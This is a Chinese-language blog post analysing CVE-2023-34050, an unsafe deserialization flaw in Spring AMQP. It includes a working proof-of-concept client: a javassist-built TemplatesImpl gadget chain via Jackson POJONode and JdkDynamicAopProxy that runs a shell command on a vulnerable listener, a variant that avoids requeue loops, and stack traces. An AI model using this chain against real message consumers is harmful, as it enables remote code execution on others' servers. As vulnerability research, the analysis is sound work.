Spring AMQP 反序列化漏洞 (CVE-2023-34050) 分析
昨天 watchvuln 收到了通告, 简单花了点时间看了看这个漏洞
https://spring.io/security/cve-2023-34050
https://github.com/spring-projects/spring-amqp/compare/v3.0.9...v3.0.10
影响版本:
- 1.0.0 to 2.4.16
- 3.0.0 to 3.0.9
新版本加入了 SPRING_AMQP_DESERIALIZATION_TRUST_ALL
环境变量
并且修改了 checkAllowedList 方法
根据 Spring 官方通告的描述, 满足以下条件时则存在漏洞
- 使用 SimpleMessageConverter 或 SerializerMessageConverter (默认为 SimpleMessageConverter)
- 开发者没有配置 allowed list patterns
- 攻击者可以向 RabbitMQ 服务器的某个 Queue 内写入 Message (RabbitMQ 未授权/弱口令/可配置 RabbitMQ 连接参数)
- 必须得有对应的 Listener 来处理接收到的 Message (使用
@RabbitListener
或 @RabbitHandler
注解)
MessageConverter 用于将 Java 对象转换为 RabbitMQ 的 Message, 如果没有明确指定 MessageConverter, 则默认使用 SimpleMessageConverter
首先搭建一个 demo 环境, 以 SimpleMessageConverter 为例
https://www.liaoxuefeng.com/wiki/1252599548343744/1282385960239138
按照文章中的步骤创建 test_queue 和 test_exchange
server pom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.6</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>server</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>server</name>
<description>server</description>
<properties>
<java.version>8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-amqp</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
|
client pom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.6</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>client</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>client</name>
<description>client</description>
<properties>
<java.version>8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-json</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-amqp</artifactId>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
|
ClientApplication
这里使用了 JdkDynamicAopProxy 来改进 Jackson 链, 参考: https://xz.aliyun.com/t/12846
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
package com.example.client;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.springframework.amqp.rabbit.core.RabbitTemplate;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.CommandLineRunner;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.ApplicationContext;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
@SpringBootApplication
public class ClientApplication implements CommandLineRunner {
@Autowired
RabbitTemplate rabbitTemplate;
@Autowired
ApplicationContext applicationContext;
public static void main(String[] args) {
SpringApplication.run(ClientApplication.class, args);
}
@Override
public void run(String... args) throws Exception {
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl("open -a Calculator");
AdvisedSupport as = new AdvisedSupport();
as.setTarget(templatesImpl);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler jdkDynamicAopProxyHandler = (InvocationHandler) constructor.newInstance(as);
Templates templatesProxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, jdkDynamicAopProxyHandler);
POJONode pojoNode = new POJONode(templatesProxy);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Reflections.setFieldValue(poc, "val", pojoNode);
rabbitTemplate.convertAndSend("test_exchange", "", poc);
SpringApplication.exit(applicationContext);
}
}
|
Server QueueMessageListener
1
2
3
4
5
6
7
8
9
10
11
12
13
|
package com.example.server;
import org.springframework.amqp.rabbit.annotation.RabbitListener;
import org.springframework.stereotype.Component;
@Component
public class QueueMessageListener {
@RabbitListener(queues = "test_queue")
public void onMessageFromQueue(Object message) {
System.out.println("queue test_queue received message: " + message);
}
}
|
因为使用了 Jackson 链, 所以 client 那边记得去 patch BaseJsonNode
当调用 convertAndSend 方法时, RabbitTemplate 会调用当前 MessageConverter (即 SimpleMessageConverter) 的 createMessage 方法, 将 Java 对象转换为 RabbitMQ 的 Message
可以看到 SimpleMessageConverter 支持 String, byte[] 和 Serializable payloads
对于继承了 Serializable 的 Java 对象, SimpleMessageConverter 会调用 SerializationUtils.serialize() 将其序列化, 并指定 Message 的 content type 为 application/x-java-serialized-object
因为我们使用了 @RabbitListener
注解来处理 test_queue 这个 Queue 里的 Message, 所以在从 Queue 中取出 Message 时, 会调用 SimpleMessageConverter 的 fromMessage 方法
调用 SerializationUtils.deserialize() 时指定了一个自定义的 ObjectInputStream, 重写了 resolveClass
调用 checkAllowedList 对反序列化的类名进行检查
问题就出在这里, 在默认情况下并没有配置 allowed list patterns, 因此就不会进入 if 的判断, 也就不会抛出任何异常, 导致任意的 Java 类都可以被反序列化
然后这个漏洞有个问题, 虽然最终可以弹计算器, 但是 server 端会死循环一直抛出 ListenerExecutionFailedException
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
org.springframework.amqp.rabbit.support.ListenerExecutionFailedException: Failed to convert message
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter.onMessage(MessagingMessageListenerAdapter.java:155) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.doInvokeListener(AbstractMessageListenerContainer.java:1665) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.actualInvokeListener(AbstractMessageListenerContainer.java:1584) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.invokeListener(AbstractMessageListenerContainer.java:1572) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.doExecuteListener(AbstractMessageListenerContainer.java:1563) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.executeListener(AbstractMessageListenerContainer.java:1507) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer.doReceiveAndExecute(SimpleMessageListenerContainer.java:967) [spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer.receiveAndExecute(SimpleMessageListenerContainer.java:914) [spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer.access$1600(SimpleMessageListenerContainer.java:83) [spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer$AsyncMessageProcessingConsumer.mainLoop(SimpleMessageListenerContainer.java:1291) [spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer$AsyncMessageProcessingConsumer.run(SimpleMessageListenerContainer.java:1197) [spring-rabbit-2.4.3.jar:2.4.3]
at java.lang.Thread.run(Thread.java:750) [na:1.8.0_362]
Caused by: java.lang.RuntimeException: com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.proxy.$Proxy68["outputProperties"])
at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:32) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.node.BaseJsonNode.toString(BaseJsonNode.java:136) ~[classes/:2.13.2.2]
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86) ~[na:1.8.0_362]
at sun.reflect.GeneratedMethodAccessor35.invoke(Unknown Source) ~[na:na]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_362]
at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_362]
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:503) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:461) ~[na:1.8.0_362]
at org.springframework.amqp.utils.SerializationUtils.deserialize(SerializationUtils.java:91) ~[spring-amqp-2.4.3.jar:2.4.3]
at org.springframework.amqp.support.converter.SimpleMessageConverter.fromMessage(SimpleMessageConverter.java:113) ~[spring-amqp-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.adapter.AbstractAdaptableMessageListener.extractMessage(AbstractAdaptableMessageListener.java:342) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter$MessagingMessageConverterAdapter.extractPayload(MessagingMessageListenerAdapter.java:365) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.support.converter.MessagingMessageConverter.fromMessage(MessagingMessageConverter.java:132) ~[spring-amqp-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter.toMessagingMessage(MessagingMessageListenerAdapter.java:242) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter.onMessage(MessagingMessageListenerAdapter.java:145) ~[spring-rabbit-2.4.3.jar:2.4.3]
... 11 common frames omitted
Caused by: com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.proxy.$Proxy68["outputProperties"])
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:392) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:351) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.StdSerializer.wrapAndThrow(StdSerializer.java:316) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:782) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.BeanSerializer.serialize(BeanSerializer.java:178) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.SerializerProvider.defaultSerializeValue(SerializerProvider.java:1142) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.node.POJONode.serialize(POJONode.java:115) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:39) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:20) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider._serialize(DefaultSerializerProvider.java:480) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider.serializeValue(DefaultSerializerProvider.java:319) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ObjectWriter$Prefetch.serialize(ObjectWriter.java:1518) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ObjectWriter._writeValueAndClose(ObjectWriter.java:1219) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString(ObjectWriter.java:1086) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:30) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
... 29 common frames omitted
Caused by: java.lang.NullPointerException: null
at com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.postInitialization(AbstractTranslet.java:376) ~[na:1.8.0_362]
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:456) ~[na:1.8.0_362]
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486) ~[na:1.8.0_362]
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507) ~[na:1.8.0_362]
at sun.reflect.GeneratedMethodAccessor39.invoke(Unknown Source) ~[na:na]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_362]
at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_362]
at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:344) ~[spring-aop-5.3.18.jar:5.3.18]
at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:208) ~[spring-aop-5.3.18.jar:5.3.18]
at com.sun.proxy.$Proxy68.getOutputProperties(Unknown Source) ~[na:na]
at sun.reflect.GeneratedMethodAccessor38.invoke(Unknown Source) ~[na:na]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_362]
at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_362]
at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
... 40 common frames omitted
|
参考:
https://stackoverflow.com/questions/57622635/rabbithandler-how-to-catch-listenerexecutionfailedexception-listener-method
https://github.com/spring-projects/spring-amqp/issues/2437
https://zhuanlan.zhihu.com/p/98915831
默认情况下, 如果 Listener 在处理 Message 时出现了异常, 则 spring-amqp 会将其重新排队 (Requeue), 然后再次处理 Message
因为使用 Jackson 原生反序列化 + TemplatesImpl 这条链在打的时候必定会出现报错, 所以会出现一直排队的情况, 导致死循环
stackoverflow 也给出了解决方法, 那就是在处理失败的时候抛出 AmqpRejectAndDontRequeueException 异常
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
package com.example.client;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
public class Gadgets {
public static TemplatesImpl createTemplatesImpl(String command) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
String body = String.format("{java.lang.Runtime.getRuntime().exec(\"%s\"); throw new org.springframework.amqp.AmqpRejectAndDontRequeueException(\"err\");}", command);
CtClass clazz = pool.makeClass("TemplatesEvilClass");
CtClass superClazz =pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
clazz.setSuperclass(superClazz);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody(body);
clazz.addConstructor(constructor);
Reflections.setFieldValue(templatesImpl, "_name", "Hello");
Reflections.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
Reflections.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
return templatesImpl;
}
}
|
最终的异常信息, 并且不再出现死循环
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
org.springframework.amqp.rabbit.support.ListenerExecutionFailedException: Failed to convert message
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter.onMessage(MessagingMessageListenerAdapter.java:155) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.doInvokeListener(AbstractMessageListenerContainer.java:1665) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.actualInvokeListener(AbstractMessageListenerContainer.java:1584) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.invokeListener(AbstractMessageListenerContainer.java:1572) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.doExecuteListener(AbstractMessageListenerContainer.java:1563) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.executeListener(AbstractMessageListenerContainer.java:1507) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer.doReceiveAndExecute(SimpleMessageListenerContainer.java:967) [spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer.receiveAndExecute(SimpleMessageListenerContainer.java:914) [spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer.access$1600(SimpleMessageListenerContainer.java:83) [spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer$AsyncMessageProcessingConsumer.mainLoop(SimpleMessageListenerContainer.java:1291) [spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer$AsyncMessageProcessingConsumer.run(SimpleMessageListenerContainer.java:1197) [spring-rabbit-2.4.3.jar:2.4.3]
at java.lang.Thread.run(Thread.java:750) [na:1.8.0_362]
Caused by: java.lang.RuntimeException: com.fasterxml.jackson.databind.JsonMappingException: err (through reference chain: com.sun.proxy.$Proxy66["outputProperties"])
at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:32) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.node.BaseJsonNode.toString(BaseJsonNode.java:136) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86) ~[na:1.8.0_362]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_362]
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_362]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_362]
at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_362]
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:503) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:461) ~[na:1.8.0_362]
at org.springframework.amqp.utils.SerializationUtils.deserialize(SerializationUtils.java:91) ~[spring-amqp-2.4.3.jar:2.4.3]
at org.springframework.amqp.support.converter.SimpleMessageConverter.fromMessage(SimpleMessageConverter.java:113) ~[spring-amqp-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.adapter.AbstractAdaptableMessageListener.extractMessage(AbstractAdaptableMessageListener.java:342) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter$MessagingMessageConverterAdapter.extractPayload(MessagingMessageListenerAdapter.java:365) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.support.converter.MessagingMessageConverter.fromMessage(MessagingMessageConverter.java:132) ~[spring-amqp-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter.toMessagingMessage(MessagingMessageListenerAdapter.java:242) ~[spring-rabbit-2.4.3.jar:2.4.3]
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter.onMessage(MessagingMessageListenerAdapter.java:145) ~[spring-rabbit-2.4.3.jar:2.4.3]
... 11 common frames omitted
Caused by: com.fasterxml.jackson.databind.JsonMappingException: err (through reference chain: com.sun.proxy.$Proxy66["outputProperties"])
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:392) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsonMappingException.java:351) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.StdSerializer.wrapAndThrow(StdSerializer.java:316) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:782) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.BeanSerializer.serialize(BeanSerializer.java:178) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.SerializerProvider.defaultSerializeValue(SerializerProvider.java:1142) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.node.POJONode.serialize(POJONode.java:115) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:39) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:20) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider._serialize(DefaultSerializerProvider.java:480) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider.serializeValue(DefaultSerializerProvider.java:319) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ObjectWriter$Prefetch.serialize(ObjectWriter.java:1518) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ObjectWriter._writeValueAndClose(ObjectWriter.java:1219) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString(ObjectWriter.java:1086) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:30) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
... 30 common frames omitted
Caused by: org.springframework.amqp.AmqpRejectAndDontRequeueException: err
at TemplatesEvilClass.<init>(TemplatesEvilClass.java) ~[na:na]
at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) ~[na:1.8.0_362]
at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) ~[na:1.8.0_362]
at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) ~[na:1.8.0_362]
at java.lang.reflect.Constructor.newInstance(Constructor.java:423) ~[na:1.8.0_362]
at java.lang.Class.newInstance(Class.java:442) ~[na:1.8.0_362]
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:455) ~[na:1.8.0_362]
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486) ~[na:1.8.0_362]
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507) ~[na:1.8.0_362]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_362]
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_362]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_362]
at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_362]
at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:344) ~[spring-aop-5.3.18.jar:5.3.18]
at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:208) ~[spring-aop-5.3.18.jar:5.3.18]
at com.sun.proxy.$Proxy66.getOutputProperties(Unknown Source) ~[na:na]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_362]
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:1.8.0_362]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:1.8.0_362]
at java.lang.reflect.Method.invoke(Method.java:498) ~[na:1.8.0_362]
at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774) ~[jackson-databind-2.13.2.2.jar:2.13.2.2]
... 41 common frames omitted
|
不过如果使用已经修复的最新版测试, 依然会死循环, 因为没办法抛出 AmqpRejectAndDontRequeueException
当然也有可能是这个 demo 比较简单, 没有像一些成熟的项目那样进行错误处理 (
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
org.springframework.amqp.rabbit.support.ListenerExecutionFailedException: Failed to convert message
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter.onMessage(MessagingMessageListenerAdapter.java:157) ~[spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.doInvokeListener(AbstractMessageListenerContainer.java:1722) ~[spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.actualInvokeListener(AbstractMessageListenerContainer.java:1641) ~[spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.invokeListener(AbstractMessageListenerContainer.java:1629) ~[spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.doExecuteListener(AbstractMessageListenerContainer.java:1620) ~[spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.AbstractMessageListenerContainer.executeListener(AbstractMessageListenerContainer.java:1564) ~[spring-rabbit-2.4.17.jar:2.4.17]
